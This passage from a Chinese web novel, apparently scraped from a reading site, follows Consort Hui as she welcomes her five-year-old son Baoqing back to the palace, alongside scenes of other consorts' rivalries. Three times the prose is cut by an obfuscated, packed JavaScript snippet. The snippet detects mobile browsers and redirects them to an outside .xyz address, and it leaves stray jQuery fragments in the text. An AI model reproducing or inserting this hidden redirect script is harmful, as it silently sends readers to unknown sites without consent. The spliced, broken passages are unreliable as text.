“宜嫔平时见皇上那么多面,难道就没有为自己姐姐求情,给郭络罗庶妃一个正经位分吗?” 虽然定下了后宫品级,但还是有些妃嫔不在册封范围内。 除了皇后、贵妃和七嫔,康熙下明旨的只有三个贵人。 张贵人夭折过两个女儿,纳喇贵人有一个阿哥,布贵人膝下养着皇五女。 至于其她的,无子无宠,已经彻底被康熙忘到脑后,更不会特意给她们下晋封的圣旨。 因此还是用庶妃称呼着。 宜嫔优雅地对僖嫔翻了一个白眼,她向来不是个受气的,直接怼了回去,“还是先管好你自己吧,之前禁足的事情已经忘了吗?祸从口出知不知道。” 当初僖嫔和纳喇贵人一道口无遮拦连累了她。 她还没找僖嫔麻烦呢,自己就撞上来了。 僖嫔被噎得脸色一阵红一阵白,正想反驳,殿外忽然传来太监的唱喏声:“佟贵妃娘娘到——” 众人连忙起身,只见佟贵妃扶着宫女的手,缓缓走了进来。 “都在叽叽喳喳说什么呢?” 妃嫔们屈膝行礼,“贵妃娘娘万福金安。” 佟贵妃目光扫视了一圈,在宜嫔光彩夺目的脸上多留了一秒,然后叫起,“都起来吧。” 待众人落座,佟贵妃才象征性地说了两句:“晋位是宫里的喜事,大家都是姐妹,莫要因这点小事伤了和气,让皇上烦心。” 云筠跟着妃嫔们称是。 佟贵妃几乎是卡着点到的,她出现没多久皇后就扶着宫女的手走了出来。 第一次请安,妃嫔们对皇后行叩拜大礼。 清脆的女声整齐划一,在殿内回荡。 “参见皇后娘娘,皇后娘娘万福金安!” 皇后端坐在上首,微微抬手,“免礼,都坐下吧。” 先与佟贵妃寒暄了几句,又向荣嫔和兆佳贵人询问公主近况,关心了一番皇嗣后,皇后说起了正事。 “大封后宫是喜事,因此本宫与皇上商议,准备提前放一批宫女出宫,也算彰显皇室恩德,你们都是各宫主位,回去统计一下,回头派人报过来。” 虽然有宫女二十五岁出宫的说法,但这并不完全正确。 按照宫规,宫女的服务期限并不是按照年龄,而是按年限。 宫女在宫里服役满十年后,经主管太监或者嬷嬷申请,主子恩准,方可被放出宫。 但是在执行过程中也充满变数。 比如有宫女受主子‘青睐’,主子会下旨将其继续留在身边。 再比如宫女犯了错,被罚提高服务年限。 还有就是万一被皇上看重成了妃嫔,那肯定无法出宫了。 主位妃嫔们你看我,我看你,若有所思。 这是她们成为一宫主位后办的第一件事。 可不能搞砸了。 皇后见下面妃嫔们不管是装的还是怎么样,至少面上严肃认真,满意点头,“好了,本宫这里也不留你们了,都散了吧。” 仁孝皇后掌管后宫近十年,宫里有不少她安插的人手。 就连自己身边有一个二等宫女都是仁孝皇后的人。 她正好借着这个机会把人都清出去。 主子都没了,还留着奴才干什么。 11. 惠嫔 知道前三天皇上为了皇后颜面,一定会歇在坤宁宫,所以妃嫔们也不打算在这个时候闹什么幺蛾子。 陪着康熙用过晚膳,皇后捧着一盏热茶,主动提起五阿哥的事。 “宫里的两位小公主和兆祥所阿哥一切安好,只是五阿哥快到入上书房的年纪,皇上可有什么章程?” 她是中宫,统摄六宫事宜,皇子的教育向来是皇家大事。 入学之事若等皇上主动提及,反倒显得她这个主持后宫的不尽心。 如今主动提起,也免了日后落人口实的隐患。 五阿哥是二月十四的生辰,算一算时间还有小半年。 但是他是这一辈年纪最大的阿哥,到时候挑选上书房授课的老师,还有选择伴读都需要提前准备着。 康熙沉吟片刻,“五阿哥入学之事确实该提前筹谋,明日就让钦天监挑个吉日,接他回宫来。” 他自己也想见一见这个健康活泼的阿哥。 说到回宫后的安置,康熙的语气多了几分考量。 “惠嫔如今晋了嫔位,五阿哥回宫后便先住去延禧宫,跟惠嫔亲近些也好。等他过了六岁生辰,再让他搬去东三所的阿哥所住,那边离上书房近,每日上学也方便。” 皇子六岁进入上书房是祖宗规矩,是基于多方面的考虑定下的。 一方面是防止外戚干政,如果皇子与生母始终生活在一起,其背后的家族就非常容易和皇子形成政.治同盟。 另一方就是皇室认为母亲会对孩子溺爱,深宫妇人之手容易让皇子变得娇生惯养、柔弱依赖。 当初康熙八岁登基,在这之前他也与生母见面甚少,登基之后倒是每日向皇太后请安可以多见几面。 可惜生母病弱,在当了一年的皇太后之后便去世了。 这是康熙心里的憾事,也因此对佟家有补偿心理。 如今既然皇后提起,惠嫔也有将孩子养在身边的资格,母子更是几乎没有见过面,半年时间也不妨碍。 皇后点头,“皇上考虑得周全,惠嫔性子温和,不骄不躁,五阿哥在她身边,先学学宫里的礼仪也好。” 康熙闻言微微颔首。 他对这个皇后是满意的。 这几年管理后宫没有出过缺漏,自身也品行端良,是他的贤内助。 尤其对方出身钮祜禄大族,代表满洲镶黄旗势力,让他在朝政上非常省心和放心,她的存在本就是对其代表势力的肯定和信任。 康熙现在还不是什么顶级老登,他对皇后虽然更多出于政.治考量,但他对她是有信任在的。 这些后宫的事情他也只会与她商议。 “其余妃嫔之事,你看着安排即可,”康熙的语气笃定,“你是皇后,朕自然是相信你的。” 皇后脸上露出浅淡的笑意。 也没有对此反驳什么的。 相信皇上还不如相信她皇后的权力。 后宫的安稳,从不是靠信任维系,而是靠规矩、靠势力、靠彼此心照不宣的制衡。 天色渐晚,有宫女进来为帝后二人更衣。 皇后垂着眼,看着宫女为自己褪去石青色常服,换上素色的寝衣。 衣料贴着肌肤,带着一丝微凉的触感。 她想起方才康熙说的‘相信’,又想起佟贵妃。 那位靠着表妹情谊,总盼着能压她一头的贵妃,若是听到皇上这话,怕是又要生出几分不切实际的念想。 可那又如何? 只要她还是中宫皇后,只要钮祜禄氏的势力还在,佟贵妃便只能在帝王恩宠的幻梦里打转,掀不起什么风浪。 况且佟贵妃看着就不像什么聪明性子。 指望帝王真心? 下辈子吧。 “皇后今日也累了,早些安歇吧。” 听到康熙这话,皇后收回有些发散的思绪。 无言点头。 殿内的宫人陆续退下,只留下两名值夜的宫女在殿外候着。 - 第二天请安的时候,皇后环视妃嫔一圈,语气温和不失威严。 “今儿有件喜事要宣布,昨日皇上已吩咐钦天监择了吉日,近日便会接五阿哥回宫,预备着入上书房的事宜。” 这话像一道惊雷,猝不及防地砸在云筠心上。 保清要回来了! 她恍恍惚惚。 心里骤然迸发出一股欢喜。 晋位时她也是高兴的,可是远远比不上这次浓烈。 那个从未谋面却被原主牵挂了五年的孩子,她的执念。 终于要回宫了! 云筠的眼眶悄悄发热,指尖微微颤抖,直到皇后的声音再次响起,才将她从恍惚中拉回。 “皇上恩典,五阿哥回宫后,入上书房前先住在延禧宫。内务府已经备好五阿哥的份例,近日便会送去,若是延禧宫缺了什么,妹妹只管派人来说,一切都以五阿哥为重。” 这话一出,本来就羡慕的妃嫔们更羡慕了。 五阿哥回宫对她们来说算是一个大消息,但也没有什么牵连。 但住在延禧宫关系就大了。 比如,羡慕。 纳喇庶妃的九阿哥养在兆祥所,一年也见不到几面。 比如,嫉妒。 五阿哥住在延禧宫,皇上目前又只有这么一个长成的皇子,必定会经常去探望。 去惠嫔那里多了,来她们这里就少了。 即便如此,为了面上过得去,她们也得开口恭贺。 荣嫔恭脸上的笑真心实意,“恭喜惠嫔妹妹,听说五阿哥在宫外养得健康,以后妹妹的延禧宫可要热闹起来了。” 五阿哥回宫也算是给她吃了一枚定心丸。 有五阿哥先例在,到时候十阿哥回宫皇上说不定也会让他在钟粹宫住上小半年。 云筠努力控制自己的嘴角不要上扬得太明显,但是一开口话语里的高兴还是压不住,“多谢皇后娘娘和皇上的体恤,臣妾定会好好照料五阿哥,不让皇上和娘娘费心。” 在宫里这几个月,她体面话也练出来了。 茯苓站在自家小主身后,心里也是洋溢不住的喜悦。 主子大病一场之后脸上的笑容越发稀少了。 希望五阿哥能让主子真的开怀。 知道她们的心思现在都不在这里,皇后也没有多留,只说了些开枝散叶的套话便让她们退下了。 延禧宫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315771|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后宫消息传得倒也没有那么快,灵芝显然就还不知道这个好消息。 茯苓难得没有以往稳重,脸上的笑意压都压不住,“你猜猜今天有什么好消息?” 灵芝正嘴里发出啾啾的声音,逗着名为鹦哥的鹦鹉。 闻声回头,她手里还捏着半把小米,疑惑地眨了眨眼:“好消息?难道是御膳房又给主子添了新菜式?还是有赏赐下来了?” 在她看来,主子晋位就是最好的消息,可茯苓这模样,倒像是比主子晋位时还要欢喜。 茯苓故意卖着关子,走到灵芝身边,凑到她耳边压低声音,一字一句道,“是五阿哥——皇上要接五阿哥回宫了,还让阿哥入上书房前先住在咱们延禧宫呢!” “真的吗!” 灵芝手里的小米哗啦一声撒在地上,瞪大了眼睛,满眼不可置信。 她看向云筠。 云筠笑着点头。 “真的!”灵芝也不管鹦鹉了,开始在房间里面转圈圈,“太好了!太好了!阿哥要回来了!那阿哥喜欢吃甜的还是咸的?五六岁的孩子,是不是喜欢玩木头做的小马?还有衣裳,得选软和的绸缎才好,可不能磨着阿哥的皮肤……” 她左走右走,像是地板咬人。 连架上的鹦鹉都被她的动静惊得扑棱着翅膀叫起来。 茯苓站在一旁看着她笑,灵芝不好意思上去抓她,“茯苓姐姐你也想想,一定要让阿哥在延禧宫生活得开心快乐才是。” 两人凑在一处。 你一言我一语地盘点着该准备的东西,从膳食点心到玩具衣物,连给阿哥收拾哪间偏殿,用什么花色的帐子都仔细琢磨起来。 等茯苓和灵芝带着宫女太监去收拾偏殿,准备清点库房里的东西时,云筠才独自起身,走向了小佛堂。 佛堂里静悄悄的,只有供桌上的烛火轻轻跳动。 上面的供果还新鲜着,宫女们每日一换。 云筠跪在蒲团上,上了一炷香。 “保清要回来了,”云筠望着佛龛上的佛像,轻声呢喃。 她没有自己想象中那么适应后宫里的生活。 她对皇帝没有太大滤镜,对皇权没有过多敬畏,所以不像其她妃嫔那样渴求皇帝宠爱。 不管这宠爱能带来什么。 位分。 子嗣。 她都有了。 她知道清朝大概的历史,知道自己不出错就会成为惠妃,知道太子会被废,知道大阿哥被幽禁,四阿哥登基。 她的未来在她看来就是一条直线。 其她妃嫔会因为对未来的不确定产生期望。 可是她不会。 她安慰自己享受康熙在世的这几十年。 可是后宫生活实在匮乏,不能出去,只能困在四四方方的天。 太无聊了。 宫里实在娱乐设施匮乏,没有手机,没有游戏,没有网络小说,更没有什么话本。 她的乐趣只有期盼着每日的膳食,吃东西的时候就是她最高兴的时候。 可现在不一样了,保清要回来了,那个被原主牵挂了五年的孩子。 希望像荣嫔说的。 延禧宫能够热闹起来。 12. 惠嫔 保清打记事起,就知道自己和府里的孩子不一样。 孙嬷嬷总是对他说:“咱们阿哥金贵,旁人见了您,那是该行礼的,可不敢像寻常孩子那样疯闹。” 他起初不懂金贵是什么意思。 直到瞧见几个小孩一起踢毽子,他刚走过去还没有开口,就有大人匆匆忙忙跑过来,嘴里说着什么阿哥尊贵,不敢扰了阿哥的话。 从那以后他就知道了。 金贵就是旁人见了他就躲,连踢毽子都不肯带着他。 不过小孩里面总有叛逆的。 窗沿传来嗒嗒的轻响。 保清抬头。 一个带着瓜皮帽的头鬼鬼祟祟探了出来,对他灿烂地笑。 “嘿,五阿哥,这里!” 是允瑞。 保清眼睛瞬间亮了起来。 允瑞是府里太太的孩子,和他同岁,经常偷偷摸摸找他玩。 保清慌忙起身,踮着脚去推窗户。 “孙嬷嬷没在吧?”允瑞没急着进来,而是先往里东张西望,小声询问。 他最讨厌的就是五阿哥身边的那个孙嬷嬷了,整天这不准那不准,还喜欢向额娘打他的小报告。 保清抿唇,“孙嬷嬷去收拾东西了,说明日要带我回宫,得把衣物理好。” 言下之意就是不在。 “那就好,”允瑞夸张地松了一口气,“前几日她才向额娘说了我的不好,额娘罚了我半个月的点心,还不许我还找你玩儿!” “怎么会有这么坏的人!” 对年仅五岁的允瑞来说,罚点心已经是很严重的事情了。 他爱吃甜,额娘偏不许他多吃,说是怕坏了牙齿。 怎么可能。 允瑞哼哼唧唧地往里面爬,大哥也爱吃甜食,他上次还瞧见大哥偷偷摸摸在袖口藏了呢,牙齿也没坏啊。 可见额娘就是说出来骗小孩的。 允瑞爬窗户经验丰富,猫着腰,一条腿搭在窗沿上,翻身落地,袍子下摆还沾着几片院外的梧桐叶。 保清脸上止不住笑,“允瑞,你怎么来了。” 按理来说,被额娘说了,允瑞会老实几天再来找他的。 允瑞已经毫不见外地拿起桌上的点心吃了起来,含糊不清地回答,“这不是听说你要走了,我过来和你道别。” 面对小伙伴,保清展现了最真实的情绪,他有一点担忧。 “我还没有见过阿玛和额娘,也不知道额娘凶不凶,会不会像来福的额娘那样打人。” 来福是伺候允瑞的,比他们大三岁,但是鬼点子多,闹腾,经常被打手心和屁股。 允瑞也心有戚戚地保佑自己好兄弟,“听说宫里的娘娘都和善,应该不会打人。” 他顺便出着馊主意,“要是她打你,你就使劲哭,嚎得越大声越好,这样她就不会打你了。” 这也是他们观看来福挨打的经验之谈。 保清迟疑点头,对小伙伴表示信任,“好吧。” 吃完了点心,允瑞从怀里掏出一个布包,“我给你带了好东西!” 他打开布包,里面是一套磨得发亮的七巧板。 “上次你说一个人不好玩儿,这次我把自己的也带来了,我们一起拼。” 他熟门熟路地拉着保清坐到桌边,把七巧板摊开,一边摆弄一边问,“对了,你回宫要住几天?我大哥许诺我给带糖葫芦,要是你回来得早我就给你留两串。” 允瑞总去外祖家小住,在他眼里,回宫和去外祖家没什么两样,都是住几天就回来的事。 倒是保清在孙嬷嬷的影响下知道得多一些。 他放下七巧板,有点不好意思地攥紧了衣角,声音低了些,“孙嬷嬷说,宫里才是我的家,以后要在宫里读书,学规矩,不能再待在这儿了。” “什么!” 允瑞天都塌了。 顾不得讨厌的孙嬷嬷会发现他,允瑞当场扑到保清身上,紧紧抱住他,眼泪说来就来,“你走了我怎么活啊!” 他的冬瓜条、糖藕片、豌豆黄、芸豆卷、莲花包、金丝酥雀、杏仁佛手,都要没了啊! “要不然你不走了吧,”允瑞泪眼朦胧,抱着保清嚎,恨不得满地打滚,“我不想你走!你不要走!呜呜呜······” 被允瑞一下子抱住的保清身体发僵,鼻尖也酸酸的。 允瑞继续嚎,“要走也把我带走吧!你去哪儿我就去哪儿!说好了的,我们那什么,有福同享,有祸同当!” 这一番话喊得跌宕起伏,情绪饱满,这劲头,好家伙,不知道的以为是要跟谁决一死战呢。 一看就平时没少看戏班子。 保清知道允瑞是把戏里英雄好汉的誓言,原封不动地搬来了。 他有些为难。 或许是皇家的孩子本来就比别人早熟,保清自己是大概知道回宫意味着什么的。 他和允瑞不一样。 允瑞的额娘阿玛都在府里,他能时常见到,可是自己的阿玛额娘都在宫里。 他想见阿玛额娘,可是他也不想和允瑞分开。 允瑞是他最要好的朋友了。 孙嬷嬷早就跟他说过,宫里有严格的规矩,不是谁都能随便进的。 保清也开始吧嗒吧嗒掉眼泪。 两个还不到六岁的小孩,紧紧抱在一起哭得伤心,像是在经历什么生离死别。 这一哭就把孙嬷嬷哭来了。 看见这一幕,孙嬷嬷才是觉得天都塌了。 她连忙和另一个嬷嬷上前哄人,“哎呦奴婢的阿哥诶,您这是怎么了,怎么好端端和允瑞小少爷一起哭起来了。” 孙嬷嬷小心翼翼地扶着保清的胳膊,柔声哄道,“快别抱在一起了,让奴婢看看,可是伤到哪儿了?” 虽说小孩子打打闹闹是常事。 可是五阿哥不是寻常小孩,他要是身上有伤疤她们回宫后都得担上照顾不力的名头。 都得完蛋。 保清只是一时情绪上头,眼下见嬷嬷来了,他也好面子,不想在嬷嬷面前哭。 孙嬷嬷拧了帕子给保清擦脸,一边絮絮叨叨,“小德子上哪儿去了,怎么就留阿哥在房间,委屈了也不知道,怎么当差的,也不仔细着自己那身皮。” 保清身边伺候的人都是内务府配置的,年幼时是四个奶嬷嬷,后来长大些了只留下两个照顾他。 小德子则是他的贴身太监,在他三岁那年内务府送过来的。 不过小德子机灵又细心,有时候还会陪保清玩,保清很喜欢他。 不想让小德子受罚,再说这本来就不关他的事,保清主动开口解释:“明日就要回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315772|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫,想着府里的东西再吃不到,我就让小德子去大厨房提豌豆黄了。” 孙嬷嬷闻言,脸色缓和了些,又开始劝。 “府里的豌豆黄哪有御膳房的好?等回宫了,奴婢跟御膳房说,让他们天天给您做,想吃多少有多少。” 保清没再说话,只是悄悄看向允瑞。 允瑞还在眼睛通红地抹眼泪。 孙嬷嬷给两个孩子收拾整齐,又哄了好一会儿,才轻声问:“阿哥,允瑞小少爷,你们到底是怎么了?怎么好端端哭起来了?” 保清支支吾吾。 他总不能告诉孙嬷嬷自己不想回宫了吧。 两位嬷嬷和小德子这几日的期待他都看在眼里,他知道她们是希望回宫的。 保清无师自通了说谎,或者说岔开话题。 “孙嬷嬷,你说回宫后额娘会喜欢我吗?” 知道回宫那会儿,他心里也很期待。 允瑞的额娘会给他讲故事,哄他睡觉,陪他玩儿,还会温柔对他笑,抱他哄他。 虽然这些嬷嬷也会做,可是他知道这是不一样的。 孙嬷嬷笑了起来,“惠嫔娘娘可期待阿哥回宫了呢,阿哥放心,惠嫔娘娘一定会喜欢您的。” 保清想了想。 拉着孙嬷嬷的衣角,“嬷嬷,给我多说一说额娘吧。” 至于允瑞,在他开口的那一刻就脚下一溜烟跑了。 他本来就是翻窗户进来的,现在不跑等着嬷嬷又去向额娘告状吗? 他又不傻。 - 第二日一大早。 天刚蒙蒙亮,两位嬷嬷就把保清平时里用的东西收拾整齐了。 保清被薅起来时还有些迷迷瞪瞪,任由嬷嬷给他穿衣洗漱,最后到了用早膳时才清醒过来。 嬷嬷平日会约束他的规矩,所以保清用膳时不爱说话。 直到用完了一小碗碧梗粥,又啃了两个饽饽和一小碟豆腐包,保清才后知后觉有点兴奋。 他要见到阿玛额娘了! 倒是孙嬷嬷现在有些紧张,临行前还在叮嘱他,“到时候见到皇上阿哥要称皇阿玛,见到皇后称皇额娘,一定不要跑不要跳,阿哥可记住了?” 保清点头。 孙嬷嬷似乎在宽慰保清,也在给自己壮胆,“惠嫔娘娘是顶个和善的性子,阿哥回去了惠嫔娘娘一定会喜欢您的。” 保清继续点头。 孙嬷嬷继续说,“宫里的生活可不像府里了,阿哥回去一定要乖乖的,要守规矩知道吗?” 保清······ 保清也被孙嬷嬷说得紧张起来了。 在府里他最大,孙嬷嬷有时候会教他宫里的规矩,但是他也没怎么放在心上。 毕竟府里没有他需要请安的人,伺候他的人也都好言好语哄着他。 但是嬷嬷说宫里有太皇太后、皇太后、皇阿玛、皇额娘、额娘,这些都是他的长辈,他要听她们的话,不能调皮捣蛋。 马车轱轳地往前赶。 越靠近皇宫,孙嬷嬷越忧愁。 她在府里也过着好日子,她是皇宫出来的人,之后也会回去,府里的太太见了她也是温声细语从不为难的。 可是回了宫,她就要在惠嫔娘娘手下过日子了。 这以后可不知是个什么章程呢。 13. 惠嫔 今天是五阿哥回宫的日子,延禧宫一大早就忙碌了起来。 尤其是小福子。 “主子,阿哥到乾清宫了。” 过了两炷香。 “主子,阿哥从慈宁宫出来了。” 又过了一炷香。 小福子的声音带着几分气喘传来:“主子,阿哥出坤宁宫,往延禧宫来了。” 云筠也等得心焦,干脆直接带着灵芝和茯苓站在延禧宫门口,三人一道眼巴巴地瞧着宫道。 一个小小的人影从宫道远处逐渐走近,看得出他在宫外被养得很好,脸蛋圆嘟嘟虎头虎脑的,看起来就结实。 她眼睛一瞬不瞬地盯着。 心里逐渐涌出一种陌生的她从未体会过的情感。 欢喜? 酸涩? 这情感并不强烈,只是细水长流地缠着手脚,让她鼻尖微热,竟生出想立刻把他抱进怀里的冲动。 云筠甚至感觉自己有些恍惚,她看到了记忆里的保清,瘦瘦小小的一团,还是个红皮猴子,那是他刚出生的样子。 可眼前的孩子,早已褪去了幼时的单薄,成了结实的小模样。 保清似乎也瞧见了宫门口的人,他似乎想跑两步,脚步都加快了,只是不知道想到了什么,又把腰背挺得直直的,做出一幅规规矩矩的样子走到云筠面前,脆生生地喊道:“儿子给额娘请安。” 今天保清说了很多次类似的话。 给皇阿玛请安,给皇玛嬷请安,给皇额娘请安。 他前五年没请过的一下子全堆到今天了。 原本生疏的动作也熟练了起来。 不过他额娘真好看。 保清抬头光明正大地盯着自己额娘看,丝毫不掩饰自己的偏心。 他的额娘比允瑞的额娘还要好看。 见保清盯着自己瞧,头抬得老高,像只好奇又依赖的小兽。 云筠的心瞬间软成一片。 直接蹲了下来,和保清目光平视。 “保清,”看着心心念念的孩子,她原本有一肚子话想说,想问他在宫外过得好不好,有没有人欺负他,额娘不在身边有没有受委屈。 最后却只问了一句,“肚子饿了么?” 保清用力点了点头,脸上露出灿烂的笑容,还有两颗小小的虎牙。 云筠忍不住摸了摸保清的头。 他才五岁,还没有到换发型的年纪,如今头顶还留着一小撮‘聪明发’,摸起来柔软细滑,还有点毛绒绒的,像一团蒲公英。 有点舒服。 再摸摸。 又摸了两下,云筠收了手,笑眯眯地看着保清,“要牵着额娘的手一起进去吗?” 保清的耳朵悄悄红了,他还从没牵过额娘的手呢。 小身子扭捏了一下,才轻轻点了点头。 身后的孙嬷嬷似乎想要说什么,无非就是规矩之类的话,一张嘴就对上了茯苓似笑非笑的表情,话到嘴边又咽了回去,乖乖闭了嘴。 云筠牵着保清的手进了延禧宫。 孩子的手掌软软的,她特意放慢脚步,顺着他小小的步伐慢慢挪。 “保清喜欢吃什么?” 保清歪着脑袋想了想。 右手被额娘牵着,他就数着左手手指,“喜欢吃豌豆黄、糯米丸子、羊肉饼子,还有芸豆卷、莲花包。” 糯米丸子嬷嬷说吃了不好克化,所以不让他多吃。 其他点心则是允瑞喜欢吃的,他吃着觉得还可以,也就跟着喜欢吃了。 灵芝仔仔细细记了下来,并且决定以后延禧宫常备这几样点心。 主子盼了五年的孩子回来了,总得让小阿哥在这儿过得舒心些才好。 - 满宫的人都知道五阿哥今日回来。 尤其是与延禧宫同在东六宫的承乾宫,位置处于延禧宫西北方向,从坤宁宫到延禧宫正好会经过。 “嬷嬷,你说本宫何时才能有孩子?” 佟贵妃有些惆怅,她入宫也一年多了,也不是不受宠,倒不如说皇上还经常来她这里,但是她怎么肚子就没有消息呢? 一旁的赵嬷嬷正低着头,细细替她敲着核桃,“子女都是缘分,急不得的。当初夫人进佟府,也是两三年后才怀上的您,您与皇上的情分这般深厚,比旁人不同,先把身子养好了,孩子自然会来。” 赵嬷嬷不仅是佟贵妃的奶嬷嬷,更是佟夫人的陪嫁丫鬟。 她当初也是和佟夫人一起长大的。 后来嫁给了佟府管事,有了孩子,又自请到小格格身边当奶嬷嬷。 对这个自己从小看到大的孩子,赵嬷嬷是打心底疼爱。 不然她也不会放下家人,陪着佟贵妃入宫。 她哄道:“您瞧瞧宫里的惠嫔和荣嫔,她们本是包衣出身,就算生下阿哥,往后最多也就能挣个妃位顶天了。您可不一样,您是佟家的姑娘,身份尊贵,与皇上又是表亲,好事本就不怕晚。您今年才十八,正是好年纪,先用两三年好好调理身子,将来生下的阿哥也定是健健康康有福气的。” 赵嬷嬷自己是生育过的,对此有自己的心得。 她的话佟贵妃还是信的。 只是还有些疑虑,毕竟她不仅是自己,还有家族呢。 家族的荣辱与她在宫中的地位紧紧相连,若能早日诞下子嗣,便是给佟家再添一重保障。 “给家里传话吧,”沉默片刻,佟贵妃轻轻蹙眉,“就说本宫如今晋了贵妃,也该让额娘递个牌子进宫来,咱们娘俩见一面,也让家里人一起高兴高兴。” - 延禧宫今日的膳食格外丰盛。 水晶肘子、挂炉鸭子、琵琶大虾、肉沫烧饼、清炖兔子、海棠冬菇,各类各样满满当当摆了一桌,全是按着孩童爱吃的口味备下的。 保清坐在小杌子上,小手捏着银勺,吃饭的模样格外规矩。 他先舀一勺白米饭送进嘴里,细嚼几下,再用银勺盛起一口菜,动作慢悠悠的,连嘴角都没沾到半滴汤汁,活像个小大人。 孙嬷嬷站在他身后,时不时用公筷给他夹一箸冬菇或者兔子。 云筠坐在对面,满桌的菜没动几口,目光始终落在保清身上。 孙嬷嬷夹的基本都是些比较清淡的菜,一样夹几筷,看不出保清具体喜好。 等保清放下银勺,孙嬷嬷立刻端上温好的茶水,伺候他漱口。 云筠皱眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315773|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见微知著。 这孩子太乖了,乖得有些反常。 一个五岁的孩子,给什么吃什么,没有喜欢的蔬菜,也没有不喜欢的。 哪个五岁的孩子不是有自己的小性子? 她就算没有养过孩子也听说过。 什么小孩不爱吃饭追着喂,挑食萝卜青菜都不吃,一不注意就撒手没,整天哇啦哇啦精力充沛得就像大魔王。 是因为对她还不熟悉吗? 还是因为别的什么? 茯苓一直注意着自家主子的表情,见她皱眉,连忙上前,“两位嬷嬷一路辛苦,偏殿已经收拾好了,不如随我去看看,阿哥的东西是否要按旧例摆放?” 说着便引着两人往外走,顺手轻轻带上了殿门。 房间内最后只剩下保清和云筠。 云筠将保清拉到身前,摸了摸他圆嘟嘟的脸,语气放得格外柔,“保清,能跟额娘说说,平时在宫外都做些什么吗?额娘想多知道些保清的事儿。” 保清被她温柔的语气裹着,原本还有些拘谨的小身子渐渐放松。 他微微低着头,耳尖有点红,然后慢慢、慢慢地往云筠怀里靠了靠。 小脑袋轻轻抵着她的衣襟,想了一会儿,保清才小声开口,“平时会有先生来授课,教认字和写字,还会说历史故事,还有背诗词。” 说着,他忽然抬起头,眼睛亮晶晶的,“先生还夸我呢,说我背书背得快,写字也好看!” “我们保清真厉害!”云筠顺着他的话夸道,指尖轻轻揉了揉他的头发,又柔声问,“除了上课,保清还和谁一起玩呀?” “有允瑞,”保清立刻答,“允瑞常来找我玩,我们一起拼七巧板!” “那你们只在房间里玩吗?有没有去外面跑一跑?”云筠不动声色地追问。 保清摇摇头,声音低了些。 “也去花园玩的,上次我在花园里追蝴蝶,飞得好高好远,我跑着追,最后嬷嬷都跟不上我了。” 说到这里,他顿了顿,小眉头轻轻皱了皱,“后来嬷嬷说,我是皇子,要有威严,要守体统,不能像普通小孩那样跑跳打闹,也不能大声说话,从那以后,我就不怎么出去跑了。” 其实还有一个原因就是出去了也没有小孩和他玩,他们都看见他靠近就跑了。 但是他不想让额娘知道自己是不受欢迎的小孩。 他喜欢额娘。 保清轻轻靠在云筠怀里,打了个小小的哈欠,眼角沁出一点水光。 他想额娘也喜欢他。 嬷嬷说额娘喜欢听话懂规矩的乖小孩。 云筠轻轻拍着他的后背,心软下来,声音放得更轻,“保清困了吧?陪额娘一起午休一会儿好不好?” 也没让宫人去叫人收拾保清的房间,云筠直接牵着保清的手,往东梢间的红木雕花架子床走去。 锦被铺得柔软,她让保清躺在里侧,自己挨着他躺下,轻轻掖好被角。 保清睡觉的样子也规矩极了,板板正正的。 云筠看得心里柔软。 这就是血脉的联系吗?还是原主残存的情感? 但是不管怎么样,平淡无波的宫廷生活终于有了一丝趣味。 14. 惠嫔 保清睡熟后,云筠轻手轻脚起来。 西梢间,两位嬷嬷带着几分拘谨,正垂手恭立等候她的问话。 云筠先简单问了问阿哥平时在宫外吃什么玩什么。 见云筠神色和蔼,没有半分苛责之意,两位嬷嬷悬着的心稍稍放下。 没办法,这位可是阿哥的亲额娘,还是宫里的嫔位娘娘,她们的命可都在这位手里捏着。 能混到她们这个地步,识时务是最基本的。 云筠依旧温声细语,“这几年,保清能平平安安长大,辛苦两位嬷嬷费心照料了。” “娘娘折煞奴才了!”两位嬷嬷连忙躬身回话,“照料阿哥本就是奴婢们的分内之事,不敢当辛苦二字。” 云筠没再多说客套话,只轻轻唤了一声:“茯苓。” 茯苓应声从门外走进来,手中捧着一个描金托盘,托盘上并排放着两个朱红漆匣。 她走到两位嬷嬷身前站定,将匣子缓缓打开。 匣子里一半码着金银裸子,另一半则放着成色极佳的金簪、红宝石戒指、赤金镯子,珠光宝气映得人眼生花。 云筠端起茶盏,直言道,“两位嬷嬷收下吧,这是你们应得的。” 不管怎么说,保清在宫外能健健康康长到五岁,没有出过半分差错,至少证明这两位嬷嬷没有异心,也尽到了照料的本分。 她素来不是吝啬之人,有功自然要赏,这既是规矩,也是情理。 两位嬷嬷看着匣子里的赏赐,眼睛都亮了亮,飞快地对视一眼。 惠嫔娘娘出手可真大方。 